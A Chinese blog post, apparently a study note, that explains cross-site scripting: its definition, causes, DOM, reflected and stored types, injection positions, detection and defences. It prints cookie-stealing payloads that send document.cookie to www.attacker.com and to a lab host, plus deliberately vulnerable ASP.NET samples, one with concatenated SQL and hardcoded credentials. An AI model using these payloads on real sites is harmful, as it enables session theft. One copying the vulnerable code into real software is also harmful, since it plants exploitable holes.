一、说明

我说我不理解为什么别人做得出来我做不出来,比如这里要说的XSS我觉得很多人就不了解其定义和原理的,在不了解定义和原理的背景下他们可以拿站,这让人怎么理解呢。那时我最怕两个问题,第一个是题目做得怎么样第二个是你能拿站吗。好吧这两个我都不行,从而我的渗透能力被认为是孱弱的,我自己也认为我的渗透能力是孱弱的。

在我孱弱的渗透能力中,XSS是算我掌握得最好的,那是因为在入侵检测课程中我们小组被分配到了演示说明XSS的任务,不明真相加厚颜无耻的组员都把自己当大腿然后潇洒去了。没有别的选择只能硬上。

现在回头看的话概念上确实算理解得比较好,但XSS的注入到的具体位置没有细分和防御方法还没涉及到。

二、XSS定义

XSS,全称Cross-Site Scripting由于CSS已被层叠样式表所用所以简写只能退而使用读音相近的XSS,中文名跨站脚本攻击。

跨站----跨越不同网站。比如www.baidu.com和www.qq.com。

脚本----基本指JavaScript,当然要追究还有微软的JScript等其他一些web脚本语言

跨站脚本----综上,就是跨越不同网站的JavaScript脚本。

跨站脚本攻击----使用跨越不同网站的JavaScript脚本进行的攻击。很多人并没有在意“跨站”的意思,或者是注意了但是不能理解:写个<script>alert(1)</script>怎么和跨越不同网站的JavaScript扯上关系呢?结合CSRF的名称和利用形式,推测XSS的跨站指的是其主要利用方式----使用JavaScript代码将cookie传到了其他网站上,比如'><script>document.location='http://www.attacker.com/cgi-bin/cookie.cgi?foo='+document.cookie</script>,cookie被从本站传到了www.attacker.com。

三、XSS形成原因

XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。

“写入到<html></html>标签内”这几个词理解要注意以下几个点:

一是是写入到<html></html>标签内而不是其他位置,如果写入的是响应头那会造成的是http头部注入等问题而不会引发XSS。

二是只要是写入到<html></html>标签内无论什么位置基本都办法实现XSS(当然可能写入不同位置利用方式会有些差异我们后边会讲到),所以我们去看AWVS等工具其扫描原理基本都是如果在响应中看到自己提交的包含特殊字符的内容就会判定为存在XSS。

三是只要“写入到<html></html>标签内”,并不限定是写入当前请求的response的<html></html>,还是后面其他请求的response的<html></html>;如果写入的是当前请求的response的<html></html>那就是反射型XSS,如写入的是后面其他请求的response的<html></html>那就是存储型XSS。(另外也因为扫描器一般都是查看当前request的response是否有request的内容来判断XSS所以扫描器一般只能扫反射型XSS不能扫存储型XSS)

四、XSS类型

DOM XSS----用户输入没有提交到服务器,只是被前端js接收并显示所引起的XSS。

Reflected XSS----用户输入被提交到服务器,服务器将用户输入写入本次请求的response的<html></html>内引起的XSS。

Stored XSS----用户输入被提交到服务器,服务器将用户输入写入到非本次请求的response的<html></html>内引起的XSS。

我们来说明以下两个问题:

第一个是为什么要从Reflected XSS中分离出DOM XSS。就表现形式看DOM XSS和Reflected XSS都是反射(一个是前端js反射一个是后端服务器反射),所以最开始只有Reflected XSS。但后来人们发现在服务器端添加的转义防护代码并不能处理DOM XSS,所以DOM XSS被分离了出来。

第二个是Reflected XSS和Stored XSS到底有什么区别。我觉得Reflected XSS不存数据库Stored XSS存数据库、Reflected XSS影响一个人Stored XSS一定程度上会阻碍人们对XSS的检测和理解。谁说Stored XSS一定存数据库存xml不可以吗存会话变量不可以吗?谁说Stored XSS一定影响所有人如果只是写入用户自己才能看到的页面那怎么影响所有人?所以我们可以认为Reflected XSS和Stored XSS只有“本次请求的response”和“非本次请求的response”区别,其他没有区别。

五、写入到不同位置的讨论

XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。而<html></html>标签内有不同的成分,当写入位置不同时攻击方式和防护方式都有些差别,我们对其加以讨论。

以下列表整理自德丸浩的《Web应用安全权威指南》(理论上<html></html>内的内容还有<style>的css)

写入位置 位置示例 攻击载荷 攻击结果 说明 防护
元素内容 <div>写入到这里</div> <script>alert(1)</script> <div><script>alert(1)</script></div? 常规攻击 转义<>&
属性值 <input value="写入到这里" /> " onmouseover="alert(1) <input value="" onmouseover="alert(1)" /> 给标签插入新属性 转义<>&"
属性值(URL) <a href="写入到这里"></a> javascript:alert(1) <a href="javascript:alert(1)"></a> href和src虽然也是属性但可多使用javascript协议 禁止外部网站url
事件绑定函数 <body onload="init('写入到这里')"></body> ');alert(1)// <body onload="init('');alert(1)//')"></body> 函数执行完后会执行alert(1) 转义\'"和换行
<script></script>内 <script>写入到这里</script> </script><script>alert(1) <script></script><script>alert(1)</script> 闭合前边的<script>标签使在其中的过滤语句失效 转义<>

六、XSS检测办法

在上面我们说到XSS形成的原因是:系统将用户输入不加过滤(或有过滤但不足)地写入到<html></html>标签内。

所以检测方法就是:

第一步,找出可以让用户输入并在本次请求的html代码中(反射型)或随便点击看击有没有出现在其他界面中(存储型)回显的位置;

第二步,在这些位置输入<script>alert('1')</script>到回显位置看有没有弹框;

第三步,如果没有弹框,那查看html代码看是标签没配对好还是有什么服务端做了什么过滤,看该怎么配对好或绕过过滤。

七、各类型XSS攻击举例

以下示例中我们假设:存在xss的网站部署在192.168.22.128,攻击者用户接收cookie的网站部署在192.168.22.129.

7.1 DOM XSS攻击举例

现有存在http://192.168.220.128/domxss.html页面代码如下,其本意是点击显示我的ID时从URL中读取其ID并显示:

<!DOCTYPE html>
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<title></title>
<script>
function c_show() {
var userIDv = decodeURIComponent(document.URL);
var pos = userIDv.indexOf("userID=") + 7;
var userID = userIDv.substring(pos, document.URL.length);
document.getElementById("div_id").innerHTML= userID;
}
</script>
</head>
<body>
<div>这是测试基于DOM的XSS的domxss.html页面</div>
<br />
<input type="button" id="bt_showID" onclick="c_show()" value="显示我的ID" />
<span id="div_id">你的ID是:</span>
</body>
</html>

攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):

http://192.168.220.128/domxss.html?userID='<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>'

用户看到链接点击后,直接点击“显示我的ID”按钮,其192.168.220.128网站的cookie即被发送到192.168.220.129上。

7.2 Reflected XSS

现存在http://192.168.220.128/reflectxss.aspx页面,内容如下:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="reflectxss.aspx.cs" Inherits="WebApplication1.reflectxss" ValidateRequest="false" %>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<link rel="stylesheet" type="text/css" href="style.css"/>
</head>
<body>
<div>这里是测试反射型XSS的reflectxss.aspx页面</div>
<br /><br />
<form id="form1" runat="server" method="get">
<span>请输入测试内容:</span>
<input type="text" name="i_input" style="width:70%"/>
<input type="submit" value="确认"/>
<br /><br />
<asp:Label ID="Label1" runat="server" Text="你输入的内容是: "></asp:Label>
</form>
</body>
</html>

对应http://192.168.220.128/reflectxss.aspx.cs内容如下:

using System;
using System.Collections.Generic;
using System.Linq;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls; namespace WebApplication1
{
public partial class reflectxss : System.Web.UI.Page
{
protected void Page_Load(object sender, EventArgs e)
{
if (IsPostBack)
{
Label1.Text = Request.QueryString["i_input"]; }
}
}
}

其本意就是在页面中回显一下用户输入

而如果此时攻击者将以下链接通过(qq/邮箱/论坛等)发给用户以下链接(URL加密后):

http://192.168.220.128/reflectxss.aspx?__VIEWSTATE=/wEPDwUJMTc5MzM3ODgyDxYCHhNWYWxpZGF0ZVJlcXVlc3RNb2RlAgFkZE32U7BOunDRlUOFNbpK59/SbNaMfZu80qolEvzQ9JdP&__VIEWSTATEGENERATOR=F392050A&i_input=<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>

用户看到链接并点击访问后,其192.168.220.128网站的cookie即被发送到192.168.220.129上。

7.3 Stored XSS

现存在http://192.168.220.128/storagexss.aspx页面,内容如下:

<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="storagexss.aspx.cs" Inherits="WebApplication1.storagexss" ValidateRequest="false"%>

<!DOCTYPE html>

<html xmlns="http://www.w3.org/1999/xhtml">
<head runat="server">
<title></title>
<link rel="stylesheet" type="text/css" href="style.css"/>
</head>
<body>
<form id="form1" runat="server">
<div>这里是测试存储型XSS的storagexss.aspx页面</div>
<br />
<div class="showcontent">
<div>留言内容:</div>
<asp:Label ID="Lb_content" runat="server" style="width:90%"></asp:Label>
</div>
<div class="inputcontent">
<div >请输入测试内容:</div>
<asp:TextBox ID="t_content" runat="server" Width="99%" Height="370" TextMode="MultiLine"></asp:TextBox>
<br />
<asp:Button ID="bt_sub" runat="server" Text="确定" style="float:right" OnClick="bt_sub_Click"/>
</div>
</form>
</body>
</html>

对应http://192.168.220.128/storagexss.aspx.cs内容如下:

using System;
using System.Collections.Generic;
using System.Data.SqlClient;
using System.Linq;
using System.Threading;
using System.Web;
using System.Web.UI;
using System.Web.UI.WebControls; namespace WebApplication1
{
public partial class storagexss : System.Web.UI.Page
{
// 此函数用于载入页面时从数据库读取所有留言
protected void Page_Load(object sender, EventArgs e)
{
SqlConnection conn1 = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");
conn1.Open();
SqlCommand cmd1 = new SqlCommand("select * from t_content",conn1);
SqlDataReader result = cmd1.ExecuteReader();
if(result.Read()) {
Lb_content.Text =(String)result["t_content"];
}
conn1.Close();
} // 此函数用于留言者发表留言时将留言存入数据库
protected void bt_sub_Click(object sender, EventArgs e)
{
SqlConnection conn = new SqlConnection("Server=.;DataBase=xss;uid=sa;pwd=toor");
conn.Open();
SqlCommand cmd = new SqlCommand("update t_content set t_content='" + t_content.Text + "'", conn);
cmd.ExecuteNonQuery();
conn.Close();
Page.Response.Write("<script>alert('留言发表成功!');</script>"); }
}
}

该页面就是输出所有用户留言和保存用户留言

此时攻攻者先留言<script>document.location='http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>

用户再访问该页面时其cookie就会被发送到192.168.220.129上

八、XSS的防护

XSS主要是用来获取cookie的而且方式都是‘http://192.168.220.129/accept.aspx?cookiet='+document.cookie</script>这类型式,只要将cookie设置为httponly这种办法就不能成功。

但一是因为还是可以弹框所以老板或客户可能对httponly并不放心二是XSS本质是注入script代码script能做的事理论上他都能做(比如蠕虫)所以统一对<>&'"进行html实体转义也应采取。

参考:

德丸浩-《Web应用安全权威指南》

XSS理解与防御的更多相关文章

  1. 《前端之路》 之 前端 安全 XSS 原理以及防御手段

    什么是 XSS 一.XSS 什么是 XSS XSS,即 Cross Site Script , 翻译过来就是 跨站脚本攻击:为了和 css 有所区分,因而在安全领域被称为 XSS. 什么是 XSS 攻 ...

  2. 前端安全(XSS、CSRF防御)

    一.网络安全          OWASP:开放式Web应用程序安全项目(OWASP,Open Web Application Security Project)        OWASP是一个开源的 ...

  3. web安全-XSS攻击及防御

    XSS攻击的原理 xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻 ...

  4. XSS(四)攻击防御

    XSS Filter XSS Filter的作用是过滤用户(客户端)提交的有害信息,从而达到防范XSS攻击的效果 XSS Filter作为防御跨站攻击的主要手段之一,已经广泛应用在各类Web系统之中, ...

  5. XSS攻击的防御

    XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...

  6. Web 攻击之 XSS 攻击及防御策略

    XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...

  7. 风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧

    风炫安全WEB安全学习第二十六节课 XSS常见绕过防御技巧 XSS绕过-过滤-编码 核心思想 后台过滤了特殊字符,比如说

  8. Web 安全之 XSS 攻击与防御

    前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...

  9. CSRF理解与防御

    一.说明 记得以前去面试技术也不太会但你总得讲点东西,让面试时间长一些让面试官觉得你基础还可以,当时选的就是名头比较大的OWASP TOP 10.TOP 10嘛你总得拿出至少三个点来讲的细一些以证明你 ...

随机推荐

  1. java框架之Quartz-任务调度&整合Spring

    准备 介绍 定时任务,无论是互联网公司还是传统的软件行业都是必不可少的.Quartz,它是好多优秀的定时任务开源框架的基础,使用它,我们可以使用最简单基础的配置来轻松的使用定时任务. Quartz 是 ...

  2. 微信内置安卓x5浏览器请求超时自动重发问题处理小记

    X5内核  请求超时后会自动阻止请求返回并由代理服务器将原参数重新发送请求到服务层代码.但由于第一次请求已经请求到服务器,会导致出现重复下单.支付等重大问题. 该问题由于腾讯x5浏览器会自动阻止第一次 ...

  3. bzoj4195(并查集+离散化)

    题目大意:给出n个变量互相的相等或不等关系,求这些关系是否矛盾 思路:把相等的变量加入并查集,不等的查询是否合法 eg:数据很大,离散化(然而我用的是map) #include<stdio.h& ...

  4. vue的一些感想

    如今vue2.0是主流,但是它的路由确实直接从1.0过来的,其中包括组件包括全局组件和局部组件,写好组件之后,我们就需要 使用路由,将组件关联起来,关联起来之后,然后我们才可以将组件的内容通过hash ...

  5. springboot 没有跳转到指定页面

    Whitelabel Error Page   解决办法,添加依赖: <dependency> <groupId>org.springframework.boot</gr ...

  6. percona-toolkit工具的使用

    percona-toolkit是一组高级命令行工具的集合,可以查看当前服务的摘要信息,磁盘检测,分析慢查询日志,查找重复索引,实现表同步等等 percona-toolkit 源自 Maatkit 和 ...

  7. 在网页中运用统计Web Service接口

    (2017-02-10 银河统计) 在"统计随机数及临界值Web Service接口"一文中介绍了常用统计分布四类Web Service接口(随机数.分位数.密度函数和累积分布函数 ...

  8. 0.2:Game and Art

    文章著作权归作者所有.转载请联系作者,并在文中注明出处,给出原文链接. 本系列原更新于作者的github博客,这里给出链接. 通过上一节的学习,我们对游戏美术和游戏开发已经有了比较基本的了解.那么,该 ...

  9. Linux 文件时间记录属性 调优

    Linux 文件时间属性介绍 atime:(access time)显示的是文件中的数据最后被访问的时间,比如系统的进程直接使用或通过一些命令和脚本间接使用.(执行一些可执行文件或脚本) mtime: ...

  10. 【2.0】使用默认日志slf4j配置

    一.SpringBoot日志简介 SpringBoot使用Commons Logging进行所有内部日志记录,但底层日志实现保持开放状态.为Java Util Logging,Log4j2和Logba ...